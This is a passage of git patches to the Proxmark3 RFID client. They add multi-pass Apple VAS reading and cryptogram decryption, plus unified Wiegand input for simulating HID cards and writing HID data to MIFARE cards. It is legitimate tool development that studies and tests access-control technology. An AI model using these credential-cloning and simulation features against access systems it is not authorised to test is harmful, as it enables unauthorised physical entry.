*passIdentifier = "unknown-pass-identifier"; + if (has_pid) { + passIdentifier = pid_values[request_idx]; + sha256hash((uint8_t *)passIdentifier, strlen(passIdentifier), pidhash); + } + + PrintAndLogEx(INFO, ""); + + uint8_t cryptogram[VAS_MAX_CRYPTOGRAM_LEN] = {0}; + size_t clen = 0; + uint16_t get_data_status = VAS_STATUS_NOT_AVAILABLE; + bool isFinalRequest = (request_idx + 1 == request_count); + int res = VASGetData(passIdentifier, has_pid ? pidhash : NULL, has_pid, + url, urllen, vas_mode, isFinalRequest, verbose, + cryptogram, &clen, &get_data_status); + if (res != PM3_SUCCESS) { + PrintVASFailureReason(select_status, get_data_status); + break; + } + + if (!has_pid) { + PrintAndLogEx(SUCCESS, "Request completed"); + continue; + } + + if (!vas_status_is_success(get_data_status)) { + continue; + } + + int matched_key_idx = -1; + if (clen >= 4) { + for (int i = 0; i < key_count; i++) { + if (memcmp(keys[i].key_id, cryptogram, sizeof(keys[i].key_id)) == 0) { + matched_key_idx = i; + break; + } + } + } + + uint8_t msg[64] = {0}; + size_t mlen = 0; + uint32_t timestamp = 0; + + if (key_count == 0) { + PrintVasCryptogramInfo("Cryptogram (no key provided to decrypt)", cryptogram, clen); + continue; + } + + if (matched_key_idx < 0) { + PrintAndLogEx(FAILED, "No matching key identifier found, cannot decrypt VAS data"); + PrintVasCryptogramInfo("Cryptogram", cryptogram, clen); + continue; + } + + res = DecryptVASCryptogram(pidhash, cryptogram, clen, &keys[matched_key_idx].key, msg, &mlen, ×tamp); + if (res != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "Cannot decrypt VAS data"); + PrintVasCryptogramInfo("Cryptogram", cryptogram, clen); + continue; + } + + PrintAndLogEx(SUCCESS, "Pass data"); + PrintAndLogEx(SUCCESS, " Timestamp... " _YELLOW_("%d") " (secs since Jan 1, 2001)", timestamp); + PrintAndLogEx(SUCCESS, " Message..... " _YELLOW_("%s"), sprint_ascii(msg, mlen)); + } + return PM3_SUCCESS; } static int CmdVASReader(const char *Cmd) { @@ -563,92 +837,155 @@ static int CmdVASReader(const char *Cmd) { "hf vas reader --pid pass.com.passkit.pksamples.nfcdemo -k vas.passkit.der -@\n" "hf vas reader --pid pass.com.pronto.zebra-wallet-pass.demo -k vas.zebra.der -@\n" "hf vas reader --pid pass.com.springcard.springblue.generic -k vas.springcard.der -@\n" + "hf vas reader --pid pass.id.one --pid pass.id.two -k key.one.der -k key.two.der\n" + "hf vas reader --mode vasandpay --pid pass.id -k key.der\n" ); void *argtable[] = { arg_param_begin, - arg_str0(NULL, "pid", "", "PID, pass type id"), - arg_str0("k", "key,file,reader-private-key,readerprivkey,rpk", "", "Terminal private key: PEM, DER hex, scalar hex/base64, or file path"), + arg_strx0(NULL, "pid", "", "PID, pass type id (repeat --pid for multiple values)"), + arg_strx0("k", "key,file,reader-private-key,readerprivkey,rpk", "", "Terminal private key (repeat --key for multiple values)"), arg_str0(NULL, "url", "", "a URL to provide to the mobile device"), + arg_str0(NULL, "mode", "", "VAS mode used in ECP and GET DATA capabilities"), arg_lit0("@", NULL, "continuous mode"), arg_lit0("v", "verbose", "Verbose output"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); - int pidlen = 0; - char pid[512] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)pid, 512, &pidlen); + struct arg_str *pid_args = arg_get_str(ctx, 1); + struct arg_str *key_args = arg_get_str(ctx, 2); + const int pid_count = pid_args->count; + const int key_count = key_args->count; - int key_input_len = 0; - char key_input[VAS_MAX_KEY_INPUT] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)key_input, sizeof(key_input), &key_input_len); - - if (key_input_len == 0 && pidlen > 0) { - PrintAndLogEx(FAILED, "Must provide terminal private key if a pass type id is provided"); + if (pid_count == 0 && key_count > 0) { + PrintAndLogEx(FAILED, "--key requires at least one --pid"); CLIParserFree(ctx); return PM3_EINVARG; } + if (pid_count > VAS_MAX_PID_ITEMS) { + PrintAndLogEx(FAILED, "Too many --pid values (max %d)", VAS_MAX_PID_ITEMS); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (key_count > VAS_MAX_KEY_ITEMS) { + PrintAndLogEx(FAILED, "Too many --key values (max %d)", VAS_MAX_KEY_ITEMS); + CLIParserFree(ctx); + return PM3_EINVARG; + } + char *pid_values[VAS_MAX_PID_ITEMS] = {0}; + char *key_values[VAS_MAX_KEY_ITEMS] = {0}; + for (int i = 0; i < pid_count; i++) { + pid_values[i] = strdup(pid_args->sval[i]); + if (pid_values[i] == NULL) { + VasReaderCleanup(NULL, 0, key_values, 0, pid_values, i); + CLIParserFree(ctx); + return PM3_EMALLOC; + } + } + + for (int i = 0; i < key_count; i++) { + key_values[i] = strdup(key_args->sval[i]); + if (key_values[i] == NULL) { + VasReaderCleanup(NULL, 0, key_values, i, pid_values, pid_count); + CLIParserFree(ctx); + return PM3_EMALLOC; + } + } int urllen = 0; char url[512] = {0}; CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)url, 512, &urllen); - bool continuous = arg_get_lit(ctx, 4); - bool verbose = arg_get_lit(ctx, 5); - CLIParserFree(ctx); - - const bool has_pid = pidlen > 0; - mbedtls_ecp_keypair privKey; - mbedtls_ecp_keypair_init(&privKey); - - if (has_pid && LoadReaderPrivateKey(key_input, &privKey) != PM3_SUCCESS) { - mbedtls_ecp_keypair_free(&privKey); - return PM3_ESOFT; + char mode_text[32] = {0}; + int mode_len = 0; + CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)mode_text, sizeof(mode_text), &mode_len); + (void)mode_len; + str_lower(mode_text); + uint8_t vas_mode = VAS_MODE_VAS_ONLY; + if (vas_parse_mode(mode_text, &vas_mode) != PM3_SUCCESS) { + VasReaderCleanup(NULL, 0, key_values, key_count, pid_values, pid_count); + CLIParserFree(ctx); + return PM3_EINVARG; } - PrintAndLogEx(INFO, "Requesting pass type id... " _GREEN_("%s"), sprint_ascii((uint8_t *) pid, pidlen)); + bool continuous = arg_get_lit(ctx, 5); + bool verbose = arg_get_lit(ctx, 6); + + const bool has_pid = pid_count > 0; + const size_t request_count = has_pid ? (size_t)pid_count : 1; + + vas_reader_key_t keys[VAS_MAX_KEY_ITEMS] = {0}; + for (int i = 0; i < key_count; i++) { + mbedtls_ecp_keypair_init(&keys[i].key); + keys[i].source = key_values[i]; + if (LoadReaderPrivateKey(keys[i].source, &keys[i].key) != PM3_SUCCESS) { + VasReaderCleanup(keys, i + 1, key_values, key_count, pid_values, pid_count); + CLIParserFree(ctx); + return PM3_ESOFT; + } + if (GetPrivateKeyId(&keys[i].key, keys[i].key_id) != PM3_SUCCESS) { + VasReaderCleanup(keys, i + 1, key_values, key_count, pid_values, pid_count); + CLIParserFree(ctx); + return PM3_ESOFT; + } + } + + CLIParserFree(ctx); + + if (has_pid) { + PrintAndLogEx(INFO, "Requesting pass type id entries... " _GREEN_("%d"), pid_count); + } else { + PrintAndLogEx(INFO, "Requesting VAS URL........ " _GREEN_("%s"), sprint_ascii((uint8_t *) url, urllen)); + } if (continuous) { PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); } - uint8_t pidhash[32] = {0}; - sha256hash((uint8_t *) pid, pidlen, pidhash); + int final_res = PM3_SUCCESS; - size_t clen = 0; - size_t mlen = 0; - uint8_t cryptogram[120] = {0}; - uint8_t msg[64] = {0}; - uint32_t timestamp = 0; - int res = PM3_SUCCESS; + iso14a_polling_frame_t ecp_frame; + vas_build_ecp_frame(vas_mode, &ecp_frame); + iso14a_polling_parameters_t polling_parameters = { + .frames = { WUPA_FRAME, ecp_frame }, + .frame_count = 2, + .extra_timeout = 250 + }; do { if (continuous && kbd_enter_pressed()) { break; } + clearCommandBuffer(); - res = VASReader(has_pid ? pidhash : NULL, url, urllen, cryptogram, &clen, verbose); - if (res == PM3_SUCCESS) { - if (has_pid) { - res = DecryptVASCryptogram(pidhash, cryptogram, clen, &privKey, msg, &mlen, ×tamp); - if (res == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "Timestamp... " _YELLOW_("%d") " (secs since Jan 1, 2001)", timestamp); - PrintAndLogEx(SUCCESS, "Message..... " _YELLOW_("%s"), sprint_ascii(msg, mlen)); - // extra sleep after successfull read - if (continuous) { - msleep(3000); - } - } - } else { - PrintAndLogEx(SUCCESS, "URL-only request completed"); + if (SelectCard14443A_4_WithParameters(false, false, NULL, &polling_parameters) != PM3_SUCCESS) { + PrintVASFailureReason(VAS_STATUS_NOT_AVAILABLE, VAS_STATUS_NOT_AVAILABLE); + if (final_res == PM3_SUCCESS) { + final_res = PM3_ECARDEXCHANGE; } + msleep(1000); + continue; } + int iter_res = VASRead(has_pid, request_count, pid_values, + url, urllen, vas_mode, verbose, + keys, key_count); + if (iter_res != PM3_SUCCESS && final_res == PM3_SUCCESS) { + final_res = iter_res; + } + + if (continuous) { + // Drop field so that iPhone displays the checkmark or a pass + DropField(); + msleep(3000); + } + PrintAndLogEx(NORMAL, ""); msleep(300); } while (continuous); - mbedtls_ecp_keypair_free(&privKey); - return res; + VasReaderCleanup(keys, key_count, key_values, key_count, pid_values, pid_count); + DropField(); + return final_res; } static int CmdVASInfo(const char *Cmd) { @@ -670,8 +1007,22 @@ static int CmdVASInfo(const char *Cmd) { bool restore_apdu_logging = GetAPDULogging(); SetAPDULogging(apdu_logging); - int res = info_vas(); + + clearCommandBuffer(); + + iso14a_polling_parameters_t polling_parameters = { + .frames = { WUPA_FRAME, ECP_VAS_ONLY_FRAME }, + .frame_count = 2, + .extra_timeout = 250 + }; + + int res = PM3_ECARDEXCHANGE; + if (SelectCard14443A_4_WithParameters(false, false, NULL, &polling_parameters) == PM3_SUCCESS) { + res = VASSelectOse(NULL); + } + SetAPDULogging(restore_apdu_logging); + DropField(); return res; } From 3da63fafcd142a2cf53c797b2a4e68a403ee0c78 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Tue, 17 Mar 2026 21:50:09 +0200 Subject: [PATCH 107/162] Print VAS OSE information in 'hf vas reader' only if 'verbose' argument is given --- client/src/cmdhfvas.c | 34 +++++++++++++++++++++------------- 1 file changed, 21 insertions(+), 13 deletions(-) diff --git a/client/src/cmdhfvas.c b/client/src/cmdhfvas.c index cc78f929f..b3b9eaf6f 100644 --- a/client/src/cmdhfvas.c +++ b/client/src/cmdhfvas.c @@ -259,28 +259,34 @@ static int ParseSelectVASResponse(const uint8_t *response, size_t resLen, uint8_ return PM3_SUCCESS; } -static int PrintVASSelectInfo(const uint8_t *response, size_t responseLen) { +static int PrintVASSelectInfo(const uint8_t *response, size_t responseLen, bool verbose) { struct tlvdb *tlvRoot = tlvdb_parse_multi(response, responseLen); if (tlvRoot == NULL) { return PM3_ECARDEXCHANGE; } - PrintAndLogEx(INFO, ""); - PrintAndLogInfoHeader("OSE Information"); bool skip_vas_details = false; const struct tlvdb *walletTypeTlv = tlvdb_find_full(tlvRoot, 0x50); - if (walletTypeTlv == NULL) { - PrintAndLogEx(WARNING, "Wallet type.......... " _YELLOW_("not present")); - } else { + if (walletTypeTlv != NULL) { const struct tlv *walletType = tlvdb_get_tlv(walletTypeTlv); - PrintAndLogEx(INFO, "Wallet type.......... " _YELLOW_("%s"), sprint_ascii(walletType->value, walletType->len)); if (VASWalletTypeIsApplePay(walletType->value, walletType->len) == false) { PrintAndLogEx(WARNING, "Wallet type is not ApplePay. This likely isn't Apple VAS."); skip_vas_details = true; } } - if (skip_vas_details == false) { + if (verbose) { + PrintAndLogEx(INFO, ""); + PrintAndLogInfoHeader("OSE Information"); + if (walletTypeTlv == NULL) { + PrintAndLogEx(WARNING, "Wallet type.......... " _YELLOW_("not present")); + } else { + const struct tlv *walletType = tlvdb_get_tlv(walletTypeTlv); + PrintAndLogEx(INFO, "Wallet type.......... " _YELLOW_("%s"), sprint_ascii(walletType->value, walletType->len)); + } + } + + if (verbose && skip_vas_details == false) { const struct tlvdb *versionTlv = tlvdb_find_full(tlvRoot, 0x9F21); if (versionTlv == NULL) { PrintAndLogEx(WARNING, "VAS version.......... " _YELLOW_("not present")); @@ -651,7 +657,7 @@ static void PrintVasCryptogramInfo(const char *label, const uint8_t *cryptogram, } -static int VASSelectOse(uint16_t *select_status_out) { +static int VASSelectOse(uint16_t *select_status_out, bool verbose) { if (select_status_out != NULL) { *select_status_out = VAS_STATUS_NOT_AVAILABLE; } @@ -669,7 +675,7 @@ static int VASSelectOse(uint16_t *select_status_out) { return PM3_ECARDEXCHANGE; } - PrintVASSelectInfo(selectResponse, resLen); + PrintVASSelectInfo(selectResponse, resLen, verbose); if (ParseSelectVASResponse(selectResponse, resLen, NULL) != PM3_SUCCESS) { return PM3_ECARDEXCHANGE; } @@ -692,7 +698,9 @@ static int VASGetData(const char *passIdentifier, const uint8_t *pidHash, bool h const char *displayedPassIdentifier = passIdentifier != NULL ? passIdentifier : "unknown-pass-identifier"; snprintf(pass_header, sizeof(pass_header), "VAS Get Data %s", displayedPassIdentifier); PrintAndLogInfoHeader(pass_header); - PrintAndLogEx(INFO, "Pass type id hash...... " _YELLOW_("%s"), hasPid ? sprint_hex_inrow(pidHash, 32) : "n/a"); + if (verbose) { + PrintAndLogEx(INFO, "Pass type id hash...... " _YELLOW_("%s"), hasPid ? sprint_hex_inrow(pidHash, 32) : "n/a"); + } uint8_t getVasApdu[PM3_CMD_DATA_SIZE]; int getVasApduLen = 0; @@ -754,7 +762,7 @@ static int VASRead(bool has_pid, size_t request_count, uint8_t vas_mode, bool verbose, vas_reader_key_t *keys, int key_count) { uint16_t select_status = VAS_STATUS_NOT_AVAILABLE; - if (VASSelectOse(&select_status) != PM3_SUCCESS) { + if (VASSelectOse(&select_status, verbose) != PM3_SUCCESS) { PrintVASFailureReason(select_status, VAS_STATUS_NOT_AVAILABLE); return PM3_ECARDEXCHANGE; } @@ -1018,7 +1026,7 @@ static int CmdVASInfo(const char *Cmd) { int res = PM3_ECARDEXCHANGE; if (SelectCard14443A_4_WithParameters(false, false, NULL, &polling_parameters) == PM3_SUCCESS) { - res = VASSelectOse(NULL); + res = VASSelectOse(NULL, true); } SetAPDULogging(restore_apdu_logging); From a4b1c745f03ba98b36738c7b06814a0d97c0c044 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Tue, 17 Mar 2026 22:03:36 +0200 Subject: [PATCH 108/162] If VAS mode is not given, choose one based on pass type id count --- client/src/cmdhfvas.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/client/src/cmdhfvas.c b/client/src/cmdhfvas.c index b3b9eaf6f..f5a973954 100644 --- a/client/src/cmdhfvas.c +++ b/client/src/cmdhfvas.c @@ -908,10 +908,9 @@ static int CmdVASReader(const char *Cmd) { char mode_text[32] = {0}; int mode_len = 0; CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)mode_text, sizeof(mode_text), &mode_len); - (void)mode_len; str_lower(mode_text); - uint8_t vas_mode = VAS_MODE_VAS_ONLY; - if (vas_parse_mode(mode_text, &vas_mode) != PM3_SUCCESS) { + uint8_t vas_mode = (pid_count > 1) ? VAS_MODE_VAS_AND_PAY : VAS_MODE_VAS_ONLY; + if (mode_len > 0 && vas_parse_mode(mode_text, &vas_mode) != PM3_SUCCESS) { VasReaderCleanup(NULL, 0, key_values, key_count, pid_values, pid_count); CLIParserFree(ctx); return PM3_EINVARG; From 2c403e157d7df1476765e2556e6202402de8721a Mon Sep 17 00:00:00 2001 From: CinderSocket Date: Tue, 17 Mar 2026 06:03:53 -0700 Subject: [PATCH 109/162] client: unify wiegand input handling Extract the reusable Wiegand normalization and packing flow into wiegand_formatutils and move existing callers onto that shared path. This rebuilds the feat-wiegand branch as one focused commit against upstream/master instead of trying to preserve the original commit chain. Key changes: - add shared helpers for plain binary, raw HID, new PACS, and formatted Wiegand input - centralize binary rendering used by cmdwiegand and PACS decode output - update lf hid sim/clone to resolve one input mode through the shared Wiegand layer and enforce the LF packed transport limit explicitly - update hf mf encodehid to accept bin/raw/new/formatted Wiegand input through the same normalization path - preserve legacy raw HID transport behavior while clarifying the packed-HID vs LF transport limits in error reporting - add offline regression coverage for the new PACS decode output and add interactive online targets for LF HID Wiegand and MIFARE encodehid Validation performed: - make client - bash -n tools/pm3_tests.sh - bash -n tools/pm3_online_tests.sh - ./tools/pm3_online_tests.sh -h - ./client/proxmark3 -c 'wiegand encode -w H10301 --fc 31 --cn 337' - ./client/proxmark3 -c 'wiegand encode -w H10301 --fc 31 --cn 337 --new' - ./client/proxmark3 -c 'wiegand decode --new 068F80A8C0' --- client/src/cmdhfmf.c | 143 +++++++++++------ client/src/cmdlfhid.c | 266 +++++++++++++++++-------------- client/src/cmdwiegand.c | 17 +- client/src/wiegand_formats.c | 10 +- client/src/wiegand_formatutils.c | 212 ++++++++++++++++++++++++ client/src/wiegand_formatutils.h | 19 +++ tools/pm3_online_tests.sh | 53 +++++- tools/pm3_tests.sh | 1 + 8 files changed, 534 insertions(+), 187 deletions(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 35e91776b..3d666fe23 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -10045,18 +10045,49 @@ static int CmdHF14AMfValue(const char *Cmd) { return PM3_SUCCESS; } +static int hfmf_encodehid_pack_block5(const char *binstr, uint8_t *block) { + if (binstr == NULL || block == NULL) { + return PM3_EINVARG; + } + + char bits_with_sentinel[121] = {0}; + size_t binlen = strlen(binstr); + + if (binlen == 0 || (binlen + 1) > 120) { + return PM3_EINVARG; + } + + bits_with_sentinel[0] = '1'; + memcpy(bits_with_sentinel + 1, binstr, binlen + 1); + + size_t hexlen = 0; + uint8_t hex[15] = {0}; + binstr_2_bytes(hex, &hexlen, bits_with_sentinel); + if (hexlen == 0 || hexlen > (MFBLOCK_SIZE - 1)) { + return PM3_EINVARG; + } + + memset(block + 1, 0x00, MFBLOCK_SIZE - 1); + memcpy(block + 1 + ((MFBLOCK_SIZE - 1) - hexlen), hex, hexlen); + return PM3_SUCCESS; +} + static int CmdHFMFHidEncode(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf mf encodehid", - "Encode binary wiegand to card\n" - "Use either --bin or --wiegand/--fc/--cn", + "Encode HID/Wiegand data to a MIFARE Classic card\n" + "Use one of --bin, --raw, --new, or --wiegand/--fc/--cn", "hf mf encodehid --bin 10001111100000001010100011 -> FC 31 CN 337 (H10301)\n" + "hf mf encodehid --raw 063E02A3\n" + "hf mf encodehid --new 068F80A8C0\n" "hf mf encodehid -w H10301 --fc 31 --cn 337\n" ); void *argtable[] = { arg_param_begin, arg_str0(NULL, "bin", "", "Binary string i.e 0001001001"), + arg_str0(NULL, "raw", "", "HID raw hex with sentinel bit already present"), + arg_str0(NULL, "new", "", "new ASN.1 PACS hex from `wiegand encode --new`"), arg_u64_0(NULL, "fc", "", "facility code"), arg_u64_0(NULL, "cn", "", "card number"), arg_str0("w", "wiegand", "", "see " _YELLOW_("`wiegand list`") " for available formats"), @@ -10068,31 +10099,59 @@ static int CmdHFMFHidEncode(const char *Cmd) { uint8_t bin[121] = {0}; int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 1, bin, &bin_len); + bin[bin_len] = '\0'; + + uint8_t raw[15] = {0}; + int raw_len = 0; + int res = CLIParamHexToBuf(arg_get_str(ctx, 2), raw, sizeof(raw), &raw_len); + + uint8_t new_pacs[13] = {0}; + int new_pacs_len = 0; + res |= CLIParamHexToBuf(arg_get_str(ctx, 3), new_pacs, sizeof(new_pacs), &new_pacs_len); wiegand_card_t card; memset(&card, 0, sizeof(wiegand_card_t)); - card.FacilityCode = arg_get_u32_def(ctx, 2, 0); - card.CardNumber = arg_get_u32_def(ctx, 3, 0); + card.FacilityCode = arg_get_u32_def(ctx, 4, 0); + card.CardNumber = arg_get_u32_def(ctx, 5, 0); char format[16] = {0}; int format_len = 0; - CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)format, sizeof(format), &format_len); + CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)format, sizeof(format), &format_len); - bool verbose = arg_get_lit(ctx, 5); + bool verbose = arg_get_lit(ctx, 7); CLIParserFree(ctx); - // santity checks - if (bin_len > 120) { + if (res) { + PrintAndLogEx(ERR, "Error parsing hex input"); + return PM3_EINVARG; + } + + if (bin_len > 119) { PrintAndLogEx(ERR, "Binary wiegand string must be less than 120 bits"); return PM3_EINVARG; } - if (bin_len == 0 && card.FacilityCode == 0 && card.CardNumber == 0) { - PrintAndLogEx(ERR, "Must provide either --cn/--fc or --bin"); + int input_modes = 0; + input_modes += (bin_len > 0); + input_modes += (raw_len > 0); + input_modes += (new_pacs_len > 0); + input_modes += (format_len > 0 || card.FacilityCode != 0 || card.CardNumber != 0); + if (input_modes != 1) { + PrintAndLogEx(ERR, "Use exactly one of `--bin`, `--raw`, `--new`, or `--wiegand/--fc/--cn`"); return PM3_EINVARG; } - uint8_t blocks[] = { + if (format_len > 0 && card.FacilityCode == 0 && card.CardNumber == 0) { + PrintAndLogEx(ERR, "`--wiegand` requires `--fc` or `--cn`"); + return PM3_EINVARG; + } + + if (format_len == 0 && (card.FacilityCode != 0 || card.CardNumber != 0)) { + PrintAndLogEx(ERR, "`--fc` and `--cn` require `--wiegand`"); + return PM3_EINVARG; + } + + uint8_t card_blocks[] = { 0x1B, 0x01, 0x4D, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0x78, 0x77, 0x88, 0xC1, 0x89, 0xEC, 0xA9, 0x7F, 0x8C, 0x2A, @@ -10102,65 +10161,49 @@ static int CmdHFMFHidEncode(const char *Cmd) { 0x48, 0x49, 0x44, 0x20, 0x49, 0x53, 0x78, 0x77, 0x88, 0xAA, 0x20, 0x47, 0x52, 0x45, 0x41, 0x54, }; + wiegand_input_t input; + memset(&input, 0, sizeof(input)); if (bin_len) { - char mfcbin[121] = {0}; - mfcbin[0] = '1'; - memcpy(mfcbin + 1, bin, bin_len); - - size_t hexlen = 0; - uint8_t hex[15] = {0}; - binstr_2_bytes(hex, &hexlen, mfcbin); - - memcpy(blocks + (MFBLOCK_SIZE * 4) + 1 + (15 - hexlen), hex, hexlen); + res = wiegand_set_plain_binstr((char *)bin, &input); + } else if (raw_len) { + res = wiegand_pack_from_raw_hid(raw, raw_len, &input); + } else if (new_pacs_len) { + res = wiegand_set_new_pacs_binstr(new_pacs, new_pacs_len, &input); } else { - wiegand_message_t packed; - memset(&packed, 0, sizeof(wiegand_message_t)); - int format_idx = HIDFindCardFormat(format); if (format_idx == -1) { PrintAndLogEx(WARNING, "Unknown format: " _YELLOW_("%s"), format); return PM3_EINVARG; } + res = wiegand_pack_from_formatted(format_idx, &card, false, &input); + } + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encode HID input"); + return res; + } - if (HIDPack(format_idx, &card, &packed, false) == false) { - PrintAndLogEx(WARNING, "The card data could not be encoded in the selected format."); - return PM3_ESOFT; - } - - // iceman: only for formats w length smaller than 37. - // Needs a check. - - // increase length to allow setting bit just above real data - packed.Length++; - // Set sentinel bit - set_bit_by_position(&packed, true, 0); - -#ifdef HOST_LITTLE_ENDIAN - packed.Mid = BSWAP_32(packed.Mid); - packed.Bot = BSWAP_32(packed.Bot); -#endif - - memcpy(blocks + (MFBLOCK_SIZE * 4) + 8, &packed.Mid, sizeof(packed.Mid)); - memcpy(blocks + (MFBLOCK_SIZE * 4) + 12, &packed.Bot, sizeof(packed.Bot)); + if (hfmf_encodehid_pack_block5(input.binstr, card_blocks + (MFBLOCK_SIZE * 4)) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Encoded Wiegand payload is too large to fit in the MIFARE payload"); + return PM3_EINVARG; } uint8_t empty[MIFARE_KEY_SIZE] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - bool res = true; - for (uint8_t i = 0; i < (sizeof(blocks) / MFBLOCK_SIZE); i++) { + bool write_ok = true; + for (uint8_t i = 0; i < (sizeof(card_blocks) / MFBLOCK_SIZE); i++) { if (verbose) { - PrintAndLogEx(INFO, "Writing %u - %s", (i + 1), sprint_hex_inrow(blocks + (i * MFBLOCK_SIZE), MFBLOCK_SIZE)); + PrintAndLogEx(INFO, "Writing %u - %s", (i + 1), sprint_hex_inrow(card_blocks + (i * MFBLOCK_SIZE), MFBLOCK_SIZE)); } - if (mf_write_block((i + 1), MF_KEY_A, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { - if (mf_write_block((i + 1), MF_KEY_B, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { + if (mf_write_block((i + 1), MF_KEY_A, empty, card_blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { + if (mf_write_block((i + 1), MF_KEY_B, empty, card_blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { PrintAndLogEx(WARNING, "failed writing block %d using default empty key", (i + 1)); - res = false; + write_ok = false; break; } } } - if (res == false) { + if (write_ok == false) { PrintAndLogEx(WARNING, "Make sure card is wiped before running this command"); } PrintAndLogEx(NORMAL, ""); diff --git a/client/src/cmdlfhid.c b/client/src/cmdlfhid.c index 0e932fccb..d29df06f7 100644 --- a/client/src/cmdlfhid.c +++ b/client/src/cmdlfhid.c @@ -44,14 +44,75 @@ #include "wiegand_formats.h" #include "wiegand_formatutils.h" #include "cmdlfem4x05.h" // EM defines -#include "loclass/cipherutils.h" // bitstreamout - -#ifndef BITS -# define BITS 96 -#endif static int CmdHelp(const char *Cmd); +typedef struct { + char format[16]; + int format_len; + wiegand_card_t card; + uint8_t raw[12]; + int raw_len; + uint8_t bin[97]; + int bin_len; + uint8_t new_pacs[13]; + int new_pacs_len; +} lf_hid_cli_input_t; + +static int lf_hid_validate_packed_transport(const wiegand_input_t *input, const char *command_name) { + if (input->packed_valid == false) { + PrintAndLogEx(ERR, "Credential encoded successfully, but %" PRIuMAX "-bit Wiegand data cannot be represented as a packed HID credential", (uintmax_t)input->bin_len); + PrintAndLogEx(ERR, "Packed HID encoding supports up to 84 Wiegand bits"); + return PM3_EINVARG; + } + + // Raw HID input already arrives in transport form and intentionally bypasses the + // packed Wiegand length check that applies to bin/new/formatted inputs. + if (input->packed.Length == 0) { + return PM3_SUCCESS; + } + + if (input->packed.Length > 37) { + PrintAndLogEx(ERR, "%s supports only packed credentials up to 37 bits", command_name); + return PM3_EINVARG; + } + + return PM3_SUCCESS; +} + +static int lf_hid_resolve_input(const lf_hid_cli_input_t *cli, wiegand_input_t *input, int *format_idx) { + int input_modes = 0; + input_modes += (cli->raw_len > 0); + input_modes += (cli->bin_len > 0); + input_modes += (cli->new_pacs_len > 0); + input_modes += (cli->format_len > 0 || cli->card.FacilityCode != 0 || cli->card.CardNumber != 0 || cli->card.IssueLevel != 0 || cli->card.OEM != 0); + if (input_modes != 1) { + PrintAndLogEx(ERR, "Use exactly one of `--raw`, `--bin`, `--new`, or `--wiegand/--fc/--cn`"); + return PM3_EINVARG; + } + + *format_idx = -1; + if (cli->raw_len == 0 && cli->bin_len == 0 && cli->new_pacs_len == 0) { + *format_idx = HIDFindCardFormat(cli->format); + } + + if (*format_idx == -1 && cli->raw_len == 0 && cli->bin_len == 0 && cli->new_pacs_len == 0) { + PrintAndLogEx(WARNING, "Unknown format: " _YELLOW_("%s"), cli->format); + return PM3_EINVARG; + } + + if (cli->raw_len) { + return wiegand_pack_from_raw_hid(cli->raw, cli->raw_len, input); + } + if (cli->bin_len) { + return wiegand_pack_from_plain_bin((char *)cli->bin, input); + } + if (cli->new_pacs_len) { + return wiegand_pack_from_new_pacs(cli->new_pacs, cli->new_pacs_len, input); + } + return wiegand_pack_from_formatted(*format_idx, (wiegand_card_t *)&cli->card, true, input); +} + // sending three times. Didn't seem to break the previous sim? static int sendPing(void) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); @@ -252,9 +313,9 @@ static int CmdHIDSim(const char *Cmd) { "Enables simulation of HID card with card number.\n" "Simulation runs until the button is pressed or another USB command is issued.", "lf hid sim -r 2006ec0c86 -> HID 10301 26 bit\n" + "lf hid sim --bin 10001111100000001010100011\n" + "lf hid sim --new 068F80A8C0\n" "lf hid sim -r 2e0ec00c87 -> HID Corporate 35 bit\n" - "lf hid sim -r 01f0760643c3 -> HID P10001 40 bit\n" - "lf hid sim -r 01400076000c86 -> HID Corporate 48 bit\n" "lf hid sim -w H10301 --fc 118 --cn 1603 -> HID 10301 26 bit\n" ); @@ -266,61 +327,62 @@ static int CmdHIDSim(const char *Cmd) { arg_u64_0("i", NULL, "", "issue level"), arg_u64_0("o", "oem", "", "OEM code"), arg_str0("r", "raw", "", "raw bytes"), + arg_str0(NULL, "bin", "", "Binary string i.e 0001001001"), + arg_str0(NULL, "new", "", "new ASN.1 PACS hex from `wiegand encode --new`"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); - char format[16] = {0}; - int format_len = 0; - CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)format, sizeof(format), &format_len); - - wiegand_card_t card; - memset(&card, 0, sizeof(wiegand_card_t)); - card.FacilityCode = arg_get_u32_def(ctx, 2, 0); - card.CardNumber = arg_get_u32_def(ctx, 3, 0); - card.IssueLevel = arg_get_u32_def(ctx, 4, 0); - card.OEM = 